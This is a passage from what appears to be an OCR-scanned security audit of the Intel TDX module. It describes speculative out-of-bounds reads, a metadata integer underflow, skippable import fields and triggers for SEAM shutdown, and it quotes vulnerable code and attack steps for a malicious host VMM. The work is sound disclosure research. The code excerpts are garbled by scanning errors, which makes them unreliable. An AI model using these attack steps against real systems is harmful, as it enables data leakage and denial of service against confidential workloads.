goto EXIT,;

}
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The OOB data is later used in various conditional code blocks to leak partial information about
the content of memory. This leaked data can be accessed by an attacker who is able to probe
the cache state of the TDX module. For example, kot.entries[curr_hkid].state s
checked which leak if a single byte of the stolen data is zero or not. Such partial information
leak is particularly useful for attacking cryptographic keys that are mapped into the linear
address space of the TDX module, which include TD private memory, which sometimes even
partial information leaks can result in complete compromise of a cryptography.

Both tdh_mng_key freeid and tdh_mng vpflushdone expose this vulnerable code pattern
when they try to update the KOT.

Remediation: This vulnerability was fixed by ensuring all local pointers are initialized.

Vulnerability 5: Speculative Out-of-Bounds Read in Host API to Prebind
and Bind a service TD

Intel Technical Advisory for CVE-2025-27940: In certain Intel TDX modules, an
out-of-bounds read condition may occur under specific microarchitectural conditions may
allow speculative execution and potentially result in information exposure through
side-channel analysis.

Attack Scenario: A malicious host VMM executes tdh_servtd prebind or tdh_servtd_bind
with OOB servtd_slot after training the affected branch predictor, which results in OOB
access followed by code gadgets that leak information about this memory access. The host
VMM can use a flush+flush attack technique to recover the leaked secret.

The user input servtd _slotin tdh _servtd bind and tdh_servtd prebind APIs can bypass
range checks during speculative execution and results in accessing OOB data.

These APIs are responsible for binding a new service TD (currently only migration TD) to a
target TD. Although currently only a single MAX_SERVTDS is supported, Intel TDX Module data
structures support more than one service TD potential for future use cases. As a result, these
APIs check if the requested servtd_slot is not more than the currently supported service TD
(MAX_SERVTDS = 1).

if (servtd_slot >= MAX_SERVTDS) {
return_val = api_error_with_operand_id(TDX_OPERAND_INVALID, OPERAND_ID R8);
goto EXIT,;

}

However, the speculative execution of the above check allows a malicious VMM to access
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OOB data based on the servtd _bindings table.

tdcs_p->service_td_fields.servtd_bindings_table[servtd_slot]

This OOB memory is later processed by several branches and subroutines that may leak the
value via cache. A possible scenario is this tdx_memcmp that would compare the OOB value
against a known hash, which the attacker can construct. As a result, an attacker can learn
what the OOB value is depending on the tdx_memcmp timing / side channel.

if
('tdx_memcmp(tdcs_p->service_td_fields.servtd bindings_table[servtd_slot].info_hash
.qwords,servtd_info_hash.qwords, sizeof(servtd_info_hash)))

Both tdh _servtd prebind and tdh_servtd bind are equally affected by this vulnerable
code pattern.

Remediation: This vulnerability was fixed by adding a serialization instruction after the
servtd_slot bounds checking.

Bugs & Code Improvements

The table below lists additional bug findings, Defense in Depth (DiD) suggestions, and code
improvements that have been identified throughout the review process. As Intel does not
consider these items to be security vulnerabilities, they may elect to address them in one or
more future sustaining releases.
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Type

Out-of-bounds Read
Uninitialized Data Usage
Improper Initialization

Out-of-bounds Read

Missing Inline Assembly
Constraints

Information Leakage
Denial of Service
Resource Leak

Improper Address Check
Memory Corruption

Other Spectre Gadgets

Description

Metadata list parsing leads to an integer underflow
Required metadata entries are skippable

lllegal, stale, and unsorted TD event filter initialization

Out-of-bounds array indexing when locating the next entry in
the CPUID lookup array

Multiple inline assembly blocks incorrectly exclude RCX
from the clobber list

Binding handles can leak TDR HPAs for any TD

Invalid VMCS revision identifier leads to SEAM shutdown
HKID reservation exhaustion

Improper HPA and GPA checks on metadata import
Improper validation of host physical addresses in debug API

Multiple spectre gadgets allow for out-of-bounds read but
can not be extracted

Bug 1: Metadata List Parsing Leads to an Integer Underflow

Prerequisites: host VMM creates a template TD to import migration bundles into. The MSK is
known and the host VMM can craft a metadata bundle and correctly encrypt it.

This bug is similar to Vulnerability 2, but with a different root cause, as it can trigger an integer
underflow condition by calling the tdh_import state immutable, tdh_import_state_ td,
and tdh_import_state_ vp APl with attacker crafted metadata bundles. OOB data is returned
via RCX or written into TD non-memory state. tdh_import state tdis used here to describe
how the bug can be reached and its root cause.

api_error_type tdh_import_state_td(uint64_t target_tdr_pa, uinté4_t
hpa_and_size pa, uint64_t page_or_list pa, uint64_t migs_i_and_cmd_pa) {

md_list header_t *md_list hdr_p = NULL;

md_list_t md_list;

page_list pa.raw = 9;
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page_list_pa.page_4k _num = page list_info.hpa;
page_list_p = (pa_t *)map_pa(page_list_pa.raw_void, TDX_RANGE_RO);

do {
md_list_pa.raw = page_list_p[page_list_i].raw;
md_list _hdr_p = (md_list_header_t *)map_pa(md_list_pa.raw_void, TDX_RANGE_RO);

if (aes_gcm_decrypt(&migsc_p->aes_gcm_context, (uint8_t*)md_list_hdr_p,
(uint8_t*)&md_list, _4KB) != AES_GCM_NO_ERROR) {

if (md_list.hdr.list_buff_size > _4KB) {

md_list.hdr.list_buff_size = _4KB;
}

return_val = md_write_list(MD_CTX_TD, field_id, _4KB, true, true, page_list i ==
page_list_info.last_entry, md_ctx, &md_list.hdr, MD_IMPORT_MUTABLE, access_qual,
&next_field_id, tmp_ext_error_info, true);

if (return_val != TDX SUCCESS) {
if (migsc_p->interrupted_state.status == TDX_SUCCESS) {
migsc_p->interrupted_state.status = return_val;
migsc_p->interrupted_state.extended_err_info[0]
migsc_p->interrupted_state.extended_err_info[1]

tmp_ext_error_info[0];
tmp_ext_error_info[1];

}

}
field_id = next_field_id;
page_list_i++;

} while ((uint64_t)page_list_i <= page_list_info.last_entry);

if (migsc_p->interrupted_state.status != TDX_SUCCESS) {
local_data_ptr->vmm_regs.rcx = migsc_p->interrupted_state.extended_err_info[0];
local_data_ptr->vmm_regs.rdx = migsc_p->interrupted_state.extended_err_info[1];
tdcs_p->management_fields.op_state = OP_STATE_FAILED_IMPORT;
return_val = api_error_fatal(migsc_p->interrupted_state.status);
goto EXIT,;

Eachmd_1list tinthe metadata bundle is decrypted and copied to a stack based buffer
calledmd_list.Themd list hdr.list buff sizeis checked to be less than 4KB and then
md_write list is called.
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api_error_code_e md_write list(md_context _code e ctx _code, md_field id t
expected_field, uintl6_t buff_size, ..., md_context_ptrs_t md_ctx,
md_list_header_t* list_header_ptr, ...) {

uintl6_t remaining_buff_size;

remaining_buff_size = list_header_ptr->list_buff_size - sizeof(md_list_header_t);
sequence_buffer_ptr (uint8_t*)(list_header_ptr) + sizeof(md_list header_t);

for (uint32_t i = 0; i < list_header_ptr->num_sequences; i++) {
sequence_ptr = (md_sequence_t*)sequence_buffer_ptr;

md_write list proceeds to initialize remaining buff size,auintl6_t,to
list_header_ptr->list_buff_size - sizeof(md_list_ header_t). As
list_header_ptr->list_buff_size was never checked to be greater than or equal to
sizeof(md_list header_t) aninteger underflow could occur.md_list header_t has a size
of 8 bytes so a value less than this, such as O, causes remaining buff_size to be initialized
to a value close to 64KB, which is greater than the 4KB stack allocated md_1ist pointed to by
list_header_ptr.

Each sequence is parsed by md_write sequence and can contain a maximum of 512 fields
making the maximum size (512 * sizeof(uint64_t)) + sizeof(sequence_header) or
4104 bytes.

In addition to returning OOB data via RCX to the host VMM or writing it into the TD
non-memory state, 8 bytes of stale stack data could be accessible. This is because during the
prolog of tdh_import_state_immutable, tdh_import_state_td, and tdh_import_state_vp
an alignment operation is performed before allocating space for local variables (i.e. AND RSP,
-0x10, as shown in Figure 14).

tdx_vmm_dispatcher tdh_import_state_immutable (tdh_import_state td tdh_import_state_vp
ENDBR64 ENDBR64 ENDBR64 ENDBR64
PUSH RBP PUSH RBP PUSH RBP PUSH RBP
Mov RBP,RSP MoV RBP,RSP Mov RBP,RSP Mov RBP,RSP
PUSH R15 PUSH R15 PUSH R15 PUSH R15
PUSH R14 PUSH R14 PUSH R14 PUSH R14
PUSH R12 PUSH R13 PUSH R13 PUSH R13
PUSH RBX PUSH R12 PUSH R12 PUSH R12
AND RSP, -0x10 PUSH RBX PUSH RBX PUSH RBX
SuB RSP, 0x20 AND RSP,-0x10| AND RSP, -0x10 AND RSP, -0x10]
SuB RSP, 0x1100 SuB RSP, 0x10f0 SuB RSP, 0x1110

Figure 14: Stale or Uninitialized Stack Locations

tdx_vmm_dispatcher performs the same alignment operation, allocates ©x20 bytes of
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storage for local variables and then calls other API, such as tdh_import_state immutable.
The stack upon entry to the callee is only 8 byte aligned because of the return address
pushed to the stack by the call instruction. The callee prolog then pushes six registers (i.e.
RBP, R15, R14, R13, R12, and RBX) to the stack leaving RSP only 8 byte aligned. The align
operation is then performed effectively allocating 8 bytes of uninitialized data on the stack.

Before leaking out-of-bounds data with this bug the LP could have interacted with another TD
populating the 8 byte uninitialized region with what would become accessible stale data.

Implications of this stale stack data were not investigated further to understand if TD specific
confidential information would be present. Even without this the bug breaks ASLR, leaks the
global stack canary, and the contents of a shadow stack in the Intel TDX Module.

This bug was not classified as a security vulnerability by Intel’s Product Security & Incident
Response Team (PSIRT) and not assigned a CVE identifier. The leakable data is confined to the
current LP data stack and adjacent LP shadow stack. Additionally, Intel considers ASLR and
stack canaries, especially when CET is enabled, DiD mechanisms.

Remediation: This bug was fixed in the updated Intel TDX Module.

Bug 2: Required Metadata Entries are Skippable

Prerequisites: A host VMM creates a template TD to import migration bundles into. The host
VMM is given the MSK, crafts a metadata bundle, and encrypts it for import.

tdh_import_state_immutable, tdh_import_state_td, and tdh_import_state_ vp call
md_write_ list with skip _non_writable set to true. For each sequence in the metadata list
md_write_sequence is called. A sequence can specify, via the write mask_valid flagin the
sequence_header, whether element[0] holds a wr_mask.

static api_error_code e md_write_sequence(md_sequence_t* sequence ptr, ..., bool_t
skip_non_writable,

if (sequence_ptr->sequence_header.write_mask_valid) {
wr_mask = sequence_ptr->element[0];

}

if (!skip_non_writable || is_required or optional_entry(entry, access_type)) {
retval = md_write_field with_entry(ctx_code, lkp_iter->field_id, access_type,
access_qual, md_ctx, &sequence_ptr->element[sequence_idx], wr_mask, entry,
is_import, sequence_ptr->sequence_header.write_mask_valid);
if (retval != TDX_SUCCESS) {
if (!((retval == TDX_METADATA_FIELD_NOT_WRITABLE) && skip_non_writable)) {
ext_err_info[0] = lkp_iter->field_id.raw;
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return retval;

}

If write mask validis true and element[0] is@thenmd write field with_entry returns
early with TDX_METADATA FIELD NOT WRITABLE.When skip non writable is true the field
is skipped and no error is returned allowing any required entry to be skipped.

api_error_code_e md_vp_write_element(md_field_id_t field_id, const md_lookup_ t*
entry, md_access_t access_type,

if (combined_wr_mask == 0) {
return TDX_METADATA_FIELD_NOT_WRITABLE;

Processing required entries is extremely important because some have special handling,
perform verification, do initialization, and in some cases are assumed valid when subsequent
entries are imported. When these entries are skipped, they are left in their tdh_mng_add_cx
initialized state. Because verification and initialization are performed as entries are imported
there are multiple instances where entries are not checked when the overall import
completes. For example, the MD_TDCS_EPTP is initialized in md_td_write field because it has
special wr_handling set to true.

// EPTP // 19

.field_id = { .raw = 0x1110000300000004 },

.num_of_fields = 1, .num_of_elem = 1, .offset = 0x0098, .attributes = { .raw = 0x0
}s

.prod_rd_mask = (-1ULL & OxFFFFFFFFFFFFFFFFULL), .prod_wr_mask = (OQULL &
OXFFFFFFFFFFFFFFFFULL),

.dbg_rd_mask = (-1ULL & OxFFFFFFFFFFFFFFFFULL), .dbg_wr_mask = (QULL &
OXFFFFFFFFFFFFFFFFULL),

.guest_rd_mask = (OQULL & OxFFFFFFFFFFFFFFFFULL), .guest_wr_mask = (QULL &
OXFFFFFFFFFFFFFFFFULL),

.migtd_rd_mask = (18442240474082185215ULL & OxFFFFFFFFFFFFFFFFULL), .migtd_wr_mask
= (OULL & OxFFFFFFFFFFFFFFFFULL),

.export_mask = (18442240474082185215ULL & OXFFFFFFFFFFFFFFFFULL), .import_mask =
(18442240474082185215ULL & OxFFFFFFFFFFFFFFFFULL),

.special_rd_handling = false, .special_wr_handling = true,

.mig_export = MIG_MB, .mig_import = MIG_MB
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When imported this calls verify and set td _eptp controls to validate and set the
tdcs_ptr->executions_ctl fields.eptp field.

api_error_code_e md_td write field(md_field id t field_id, const md_lookup_ t*
entry,md_access_t access_type,

if (combined_wr_mask == 0) {
return TDX_METADATA_FIELD_NOT_WRITABLE;
}

case MD_TDCS_EPTP_FIELD_ID:

eptp.raw = value[0] & combined_wr_mask;
if (!verify_and_set_td_eptp_controls(md_ctx.tdr_ptr, md_ctx.tdcs_ptr,
md_ctx.tdcs_ptr->executions_ctl_fields.gpaw, eptp)) {
return TDX_METADATA FIELD_ VALUE_NOT VALID;

}
write_done = true;
break;

As a side note, this function is also responsible for validating that

tdcs _ptr->executions _ctl fields.gpaw is consistent with the state of ept_pwl.
tdcs_ptr->executions_ctl fields.gpaw and tdcs_ptr->executions_ctl fields.eptp
could be configured inconsistently by first setting the gpaw to true and the ept_pwl to
LVL_PML5 and then restarting the immutable import and setting gpaw to false and skipping
the MD_TDCS_EPTP field.

bool_t verify_and_set_td_eptp_controls(tdr_t* tdr_ptr, tdcs_t* tdcs_ptr, bool_t
gpaw, ia32e_eptp_t eptp)

if (gpaw && (eptp.fields.ept_pwl < LVL_PML5)) {
return false;

}

tdcs_ptr->executions_ctl fields.gpaw = gpaw;

pa_t sept_root_pa;
sept_root_pa.raw = tdr_ptr->management_fields.tdcx_pa[SEPT_ROOT_PAGE_INDEX];

eptp.fields.base_pa = sept_root_pa.page_4k_num;

tdcs_ptr->executions_ctl_fields.eptp.raw = eptp.raw;
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return true

When skipped, tdcs_ptr->execution ctl fields.eptp is left with its initialization value of
SEPTE_L2 INIT_VALUE, whichis @, from tdh_mng_add_cx. Once
tdh_import_state_immutable completes, the op state is switched to
OP_STATE_MEMORY_IMPORT and API to perform SEPT walks are allowed.

A tdcs ptr->execution ctl fields.eptp of @ isinterpreted as:

1. ept_ps_mt - paging-structure memory type of MT_UC
2. ept_pwl - page-walk length of LVL_PT

a. VMEntry requires the value to be LVL_PML5 or LVL_PML4
3. enable_ad_bits - set accessed and dirty flags is false
enable_sss_control - supervisor shadow stack control is false
5. base_pa - physical address of the root paging structure as O

&

ia32e_sept_t* secure_ept_walk(ia32e_eptp_t septp, pa_t gpa, uintl6_t private_hkid,
ia32e_sept_t *pte;

ept_level t requested_level = *level;
ept_level t current_1lvl;

pt_pa.raw = septp.raw & IA32E_PAGING_STRUCT_ADDR_MASK;
current_lvl = septp.fields.ept_pwl;
for (;current_lvl >= LVL_PT; current_1lvl--) {

pt_pa = set_hkid_to_pa(pt_pa, private_hkid);

pt = map_pa((void*)(pt_pa.full_pa), TDX_RANGE_RW);

pte = &(pt->sept[get_ept_entry idx(gpa, current_1lvl)]);

cached_sept_entry->raw = pte->raw;
*level = current_1lvl;

if (current_lvl == requested _level) {
break;

}
}

return pte;

}

secure_ept_walk maps HPA O with the TD HKID and proceeds to try and walk the SEPT table.
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current_1lvlisinitialized from septp.fields.ept pwlto LVL PT when pte is dereferenced
a Machine Check Exception (#MCE) is triggered because private memory wasn’t properly
initialized, leading to a SEAM shutdown.

The table below provides additional fields that are non-optional (i.e. have a mig_import value
of MIG_MB or MIG_ME), are skippable because of this bug, and would leave a TDCS or TDVPS
fields in invalid states. While other fields beyond this table can be skipped, their pre-initialized
value is either valid or the field has no effect (e.g., amig_import value of MIG_CB). Beyond the
MD_TDCS_EPTP field discussed above only the MD_TDVPS XCR@ was found to have impact
beyond that of the TD being imported.

Field Identifier Description

MD_TDVPS_XCR®O guest state.xcre when skipped has a value of 0 but expects
x87 fpu_mmx (i.e., bit 0) to be set. This is checked by
check _guest xcro_value called when the field is written.

tdvps_ptr->guest state.xcroisloaded by ia32 xsetbvin
restore guest td state before td entry. Thisis called
from tdh_vp_enter and would raise a #GP(0) exception leading
to a SEAM shutdown.

MD_TDCS_NUM_VCPUS management_fields.num_vcpus when skipped has a value of
0. When written during an import by md_td write field this
value is verified to be greater than 0 and less than
MAX_VCPUS_PER_TD.

An imported TD could be switched to the
OP_STATE_POST_IMPORT state without any imported VPs.
tdh_import_track only checks that

tdcs _p->migration fields.num migrated vcpus !=
tdcs_p->management_fields.num_vcpus.

MD_TDCS_TSC_FREQUENCY executions ctl fields.tsc frequency when skipped has a
value of 0. When written during an import by
md_td write field this value is verified to be between
VIRT_TSC_FREQUENCY_MIN (4) and VIRT_TSC_FREQUENCY_MAX
(400). This value is later used by calculate tsc_virt params
when the MD_TDCS VIRTUAL_TSC field is imported.
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MD_TDCS_VIRTUAL_TSC This field when skipped leaves tsc_multiplier and
tsc_offset with values of 0. This is later used by
calculate virt tsc whenMD_TDVPS TSC DEADLINE fields are
imported.

MD TDCS HP_ LOCK TIMEOUT @ executions ctl fields.hp lock timeout when skipped has
a value of 0. When written during an import by
md_td_write_field this value is verified to be greater than
between MIN HP_ LOCK_TIMEOUT USEC (10000) and
MAX_HP_LOCK_TIMEOUT_USEC (100000000).

MD_TDCS_EXPORT_COUNT migration_fields.export_count hasa .import_mask of
(-1ULL & OxFFFFFFFFULL) meaning any 32-bit value is
allowed. MAX_EXPORT_COUNT as checked in
tdh_export_state immutable expects the value to be less
than MAX_EXPORT_COUNT (0Ox7FFFFFFF) but import does not
provide a similar check or constraint.

The MD_TDCS_EPTP and MD_TDVPS_XCRe were found to induce SEAM shutdowns and variants
from the table above were not exhaustively analyzed.

Exploitation requires a compromised host VMM and migTD (both non-Intel managed
components) working in cooperation to construct, encrypt, and transfer metadata bundles to
the Intel TDX Module.

As the threat model for Intel TDX does not include Availability, this bug was not classified as a
security vulnerability by Intel PSIRT.

Remediation: Intel has confirmed the bug, and indicated it would be fixed in a future release.

Bug 3: lllegal, Stale, and Unsorted TD Event Filter Initialization

Prerequisites: The Intel TDX Module has been configured and initialized on the platform.

The tdh_mng_init APl is used during the Build Sequence when creating a TD. It initializes the
global-scope of the TD and TD-scope state shared by its VPs. It’s callable with a TD op_state
of OP_STATE_UNINITIALIZED and only changes the state to OP_STATE_INITIALIZED on
success. In the case where an error is called the TD is left in OP_STATE_UNINITIALIZED.
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api_error_type tdh_mng_init(uint64_t target_tdr_pa, uint64_t target_td_params_pa,
uint64_t event_filters_info_params) {

bool_t event_filtering = target_tdr_pa & BIT(9);
event_filter_info_t event_filters_info = { .raw = event_filters_info_params };
if (event_filtering && tdcs_ptr->executions_ctl fields.attributes.perfmon) {

tdcs_ptr->executions_ctl2_fields.event_filters_num =
event_filters_info.event_filters_num;

event_filters p = (event_filter t*)map_pa((void*)(event_filters_info.raw &
~BITS(11, ©)), TDX_RANGE_RO);

for (uintl6_t i = 0; i < event_filters_info.event filters num; i++) {
event_filter_t event filter = event_filters p[i];
if (event_filter.reserved_© || event_filter.umask > OxFF ||
event_filter.negative || event_filter.umask_mask != OxFFFF) {

TDX_ERROR("Illegal event filter [%d] = ox%1x\n", i, event_filter.raw);
return_val = api_error_with_operand_id(TDX_EVENT_FILTER_INVALID, i);
goto EXIT;

}

event_filter_internal.event_select = (uint8_t)event_filter.event_select;
event_filter_internal.umask = (uint8_t)event_filter.umask;

if ((i '= @) && (tdcs_ptr->event_filters_internal[i - 1].raw >=
event_filter_internal.raw)) {
TDX_ERROR("Event filters array must be sorted\n");
return_val = api_error_with_operand_id(TDX_EVENT_FILTER_ORDER_INVALID, i);
goto EXIT;

}

tdcs_ptr->event_filters_internal[i] = event_filter_internal;

}

This APl accepts a parameter called event filters info_params which is used to initialize
the tdcs_ptr->event filters_internal array when event filteringis true and the
perfmon flag is set.

The initialization loop checks to ensure that each event_filter is supported and the array is
sorted. Neither condition is correctly enforced and
tdcs_ptr->executions ctl2 fields.event filters_num can be incorrectly initialized.
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The event_filters internal array and event filters num are later used by
is_event allowed and performs a binary search of the array.

Multiple calls to tdh_mng_init can be used to allow illegal, stale, and unsorted data into the
event_filters_internal array. Because event_filters_numis assigned before processing
entries, an illegal event filter would cause a check in the loop to fail resulting in a goto EXIT;
statement being executed. event_filters_numis not reset and already processed event
filters are left with their initialized state.

To do this, n calls could be crafted to fail after partially initializing fewer event filter entries
each time. The next call could set event_filters num to a value greater than what was
initialized by any prior call, but less than MAX_EVENT_FILTERS, and fail. The last call could
completely skip event filter initialization by setting event_filtering to false. In this
situation:

1. Stale event filters exist because entries from prior calls are not removed

2. Unsorted event filters exist because event filters num was set to include the stale
entries which didn’t didn’t pass the sort check

3. lllegal event filters exist because event_filters num was set to include uninitialized
entries and would hold an initialization value of SEPTE L2 INIT VALUE, whichis O, set
by tdh_mng_add_cx call

Even though the event_filters_internal array is used later, these conditions did not lead
to an exploitable condition for a few reasons:

1. event_filters_numwas constrained to be less than MAX_EVENT_FILTERS

2. wrmsr_ia32 perfevtsel which calls is_event allowed checks to make sure
event_filters_numis not equal to zero

3. is_event_allowed can’t go OOB and only uses the entries for a comparison

Remediation: Intel has confirmed the bug, categorized it as a functional issue, and is fixing it
in a future release.

Bug 4: Out-of-Bounds Array Indexing When Locating the Next Entry in the
CPUID Lookup Array

Prerequisites: A TD is in an op_state where the metadata APIs are accessible from the host
VMM.

The md_get next cpuid value_entry function is used to find the next valid entry in the
cpu_lookup array. This function can be called by by md_get next_item with iterator
when the context codeisMD CTX TD and class code of MD_TDCS CPUID CLASS CODE for
the lookup_context->field_id. At a higher level this function is used by md_write list
and md_dump_1list during the import and export of TD non-memory state.
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const cpuid_lookup_t cpuid_lookup[MAX_NUM_CPUID_LOOKUP] = {

[78] = { .leaf_subleaf = {.leaf = O0x80000002, .subleaf

.valid_entry = true,

.fixedl = { .eax = Ox65746e49, .ebx = 0x58204454, .ecx = 0x6C202020 },

.fixed@_or_dynamic = { .eax = 0x9a8b91b6, .ebx = ©Oxa7dfbbab, .ecx = 0x93dfdfdf,
.edx = Oxffffffff },

.config_index = CPUID_CONFIG_NULL_IDX

¥

OXFFFFFFFF),

};

The cpuid_lookup array has a size of MAX_NUM_CPUID LOOKUP or 79 entries. The last entry in
the array is present with the valid entry field set to true.

static md_field_id_t md_get_next_cpuid_value_entry(md_field _id_t field_id, bool_t
element) {

uint32_t leaf, subleaf;
md_cpuid_field_id_get leaf subleaf(field_id, &leaf, &subleaf);
uint32_t index = get_cpuid_lookup_entry(leaf, subleaf);

do {
index = index + 1;
} while (!cpuid_lookup[index].valid_entry);

IF_RARE (index >= MAX_NUM_CPUID_LOOKUP) {
return (md_field_id_t)MD_FIELD_ID_NA;
}

md_get_next_cpuid_entry uses get_cpuid_lookup_entry to get the index to start looking
for the next valid entry from. If 1eaf was 0x80000002 and subleaf was oxffffffff then 78
would be returned and used to initialize index. The loop starts by incrementing index and
then checking to see if valid_entry is true and continues until it is reached. Once the next
entry is found, index is checked to make sure it's less than MAX_NUM_CPUID LOOKUP but at
this point the loop already performed one or more out-of-bounds indexing and dereference
operations to get the value of valid_entry.
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Remediation: Analysis concluded the bug is unexploitable and there is no impact to the
overall security of the Intel TDX Module. Intel was aware of the issue when reported and is
fixing it in an upcoming release.

Bug 5: Multiple Inline Assembly Blocks Incorrectly Exclude RCX from the
Clobber List

Prerequisites: Not Applicable.

The REP and REPE prefix are used to repeat an instruction which implicitly uses RCX, ECX, or CX
as a counter to indicate how many times to repeat an instruction. This counter is decremented
with each iteration of the instruction. Multiple API on the Intel TDX module and SEAMLDR
improperly exclude this implicit register from the clobber list, which under certain
circumstances and compiler optimizations could lead to memory corruption.

_STATIC_INLINE_ void tdx_memcpy(void * dst, uint64_t dst_bytes, void * src,
uinté64_t nbytes) {
volatile uint64_t junk_a, junk_b;

tdx_sanity_check (dst_bytes >= nbytes, FATAL_ERROR_ID 183, 1);

_ASM_VOLATILE_ ("rep; movsb;"
:"=S"(junk_a), "=D"(junk_b)
:"c"(nbytes), "S"(src), "D"(dst)
:"memory");

From the Intel TDX module tdx_memcpy, tdx_memcmp, and basic_memset are affected. From
the SEAMLDR pseamldr_memcpy, pseamldr_memcmp, basic_memset are affected. Both are
built using c1ang with the Intel TDX module using -0s and the SEAMLDR using -02 for
optimization. Both optimizations can exhibit the incorrect re-use after modification by inline
assembly. -01 also exhibits the issue while -00 or not specifying an optimization does not. For
-00 this is because the tdx_memcpy function isn’t inlined and is instead executed via the CALL

instruction.

These functions do not include either %rcx in the clobber list or =c({variable}) in the
output list to indicate that RCX will be modified during the inline assembly sequence.

The exact compiled code sequence leading to an exploitable situation was not observed in
the Intel TDX module or SEAMLDR. If unfixed future changes to the affected API, their usage,
or changes in how the compiler performs optimization could manifest as memory corruption.
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Variant analysis was performed with Gemini and discussed further in the Code Difference
section. Appendix B is a source code PoC showing how the issue could have manifested.
Remediation: Intel was aware of the issue when reported. The Intel TDX module fix has been

made available, and the SEAMLDR aspect will be addressed in a future release.

Bug 6é: Binding Handles Can Leak TDR HPAs for any TD

Prerequisites: A guest TD can interact with the Intel TDX module.
A TD can leak the TDR HPA for any TD by calling tdg_servtd_rd and tdg_servtd_wr APl and
checking potential HPAs. Different error codes are returned depending on if the provided HPA

is associated with a TDR or not. While these API are meant for service TDs the checks to know
if the service TD is bound to a target TD can’t occur until after the TDR is located.

typedef union servtd_binding_handle_u {

struct {
uint64_t binding slot : 12;
uint64_t tdr_page : 40;
uint64_t reserved 2 12;
}s

uinté4_t raw;
} servtd_binding_handle_t;

The servtd_binding_handle_t holds a binding_slot and the tdr_hpa for the target TD.
This value is used by the service TD when communicating with the Intel TDX module through
the tdg_servtd rdand tdg servtd wr APls. Normally, the servtd binding handle tis
returned by tdh_servtd bind, to the host VMM, and provided to a service TD so it can
interact with metadata of a target TD.

_STATIC_INLINE_ void break_servtd_binding_handle(servtd_binding_handle_t handle,
uint256_t servtd_uuid, pa_t* tdr_hpa, uint64_t* slot) {

handle.raw -= servtd_uuid.qwords[0];

tdr_hpa->raw = 0;

tdr_hpa->page_4k_num = handle.tdr_page;

*slot = handle.binding_slot;
}

break servtd binding handle is used to extract the tdr_hpa and slot values from the
handle. The servtd_uuid is the Universally Unique Identifier (UUID) of the service TD and can
be retrieved with a call to tdg_vm_rd.
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static api_error_type tdg_servtd_rd_wr(servtd_binding_handle_t binding_handle,
md_field id_t field_id, bool_t write, uint64_t wr_value, uint64_t wr_request_mask)

{

break_servtd_binding_handle(binding_handle,
1p->vp_ctx.tdr->management_fields.td_uuid, &target_tdr_pa, &target_slot);

return_val = othertd_check_lock_and_map_explicit_tdr(target_tdr_pa,
OPERAND_ID TDR, write ? TDX_RANGE_RW : TDX_RANGE_RO, TDX_LOCK_SHARED, PT_TDR,
&target_tdr_pamt_block, &target_tdr_pamt_entry_ptr,
&target_tdr_locked_flag,&target_tdr_ptr);

if (return_val != TDX_SUCCESS) {
if (is_operand_busy_error_code(return_val)) {
TDX_ERROR("Failed to check/lock/map a Target TDR - error = %11lx\n",
return_val);
goto EXIT;

}
else {
cross_td_trap_status = return_val;

goto EXIT;

}
}

if
(!is_equal_256bit(target_tdcs_ptr->service_td_fields.servtd_bindings_table[target_s
lot].uuid, lp->vp_ctx.tdr->management_fields.td_uuid)) {
cross_td_trap_status = TDX_SERVTD_UUID MISMATCH;
goto EXIT;

}

This explicit usage of HPAs by a TD to interact with the Intel TDX Module provides
unnecessary visibility into the layout of the host physical address space that wouldn't
otherwise be accessible.

Remediation: Restricting exposure of host physical addresses to a TD is not a security
requirement of Intel TDX. Intel is tracking this as an architectural issue and is considering the
return of a generic error code for this failure case.

Bug 7: Invalid VMCS revision identifier leads to SEAM shutdown

Prerequisites: The Intel TDX Module has been configured and initialized on the platform.
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A host VMM can use the VMPTRLD instruction to load an HPA of a Virtual Machine Control
Structure (VMCS) into the CPU. When this instruction executes it first validates that the HPA is
4KB aligned, bits beyond the processor’s physical address width are O, and the revision
identifier is set accordingly. When these checks pass, the HPA is loaded into a special location
known as the current-VMCS inside the LP. If a failure occurs, current-VvMCS is not loaded and
the VM failure condition is reflected in RFLAGS.

The revision identifier is stored in bits 30:0 at byte offset O in the VMCS; bit 31 is the
shadow-VMCS indicator. Software is required to set this to the value of bits 30:0 in the
IA32_VMX_BASIC MSR.

When SEAMCALL is executed by a host VMM the transition into SEAM is similar to a VM Exit.
SEAM uses a Transfer VMCS to save the state of the host VMM into the guest fields and loads
the state of SEAM from the host fields. As the host VMM is able to manage legacy VMs in
addition to using the Intel TDX Module to run TDs the current-VvMCS field is saved into the
VMCS link pointer field in the SEAM Transfer VMCS.

When SEAMRET is executed, the host VMM state is restored from the SEAM Transfer VMCS
guest state, similar to a VM Entry. Restoration involves loading the current-vMCS with the HPA
saved into the VMCS 1link pointer field. However, the HPA is first checked, much like when
VMPTRLD is executed. If this check fails, it triggers a failed VM Entry VM Exit and causes the
Intel TDX Module to enter a fatal error state, which leads to a SEAM shutdown.

To trigger a SEAM shutdown, the host VMM can load a correctly initialized VMCS using
VMPTRLD, modify the revision identifier to be invalid, and execute SEAMCALL.

The TDX threat model does not include Availability, so this issue doesn’t impact security and
wasn’t assigned a CVE by Intel’s PSIRT.

Remediation: Intel does not plan on addressing this behavior because a malicious host could
just as easily shut the system down or block the usage of TDX.

Bug 8: HKID Reservation Exhaustion

Prerequisites: The Intel TDX Module is loaded but has not yet been configured.

Before the Intel TDX Module can be used to run TDs the host VMM must initialize it using a
sequence of API calls described in section 3.1.1 of the Intel Trust Domain Extensions (Intel TDX)
Module Base Architecture Specification. tdh_sys config is required to be called once from a
single LP and is used to configure the Trust Domain Memory Range (TDMR), Physical Attribute
Metadata Table (PAMT), and reserve the HKID to be used by the Intel TDX Module.
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api_error_type tdh_sys_config(uint64_t tdmr_info_array_pa, uinté4_t
num_of_tdmr_entries, sys_config options_t sysconfig options) {

tdx_global_data_ptr->kot.entries[hkid].state = KOT_STATE_HKID_ RESERVED;
tdx_global_data_ptr->hkid = hkid;

tdmr_pa_array = map_pa(tdmr_info_pa.raw_void, TDX_RANGE_RO);

for(uinté4 t i = 9; i < num_of_tdmr_entries; i++) {
tdmr_entry.raw = tdmr_pa_array[i];
retval = shared_hpa_check_with_pwr_2_alignment(tdmr_entry,
TDMR_INFO_ENTRY_PTR_ARRAY_ALIGNMENT);
if (retval != TDX_SUCCESS) {
retval = api_error_with_operand_id(retval, OPERAND_ID RCX);
TDX_ERROR("TDMR entry PA is not a valid shared HPA pa=0x%llx,
error=0x%11x\n", tdmr_entry.raw, retval);
goto EXIT;

}

EXIT:

if (global_lock_acquired) {
release_sharex_lock_ex(&tdx_global data_ptr->global_lock);
}

if (tdmr_info_p_init) {
free_la(tdmr_pa_array);

}
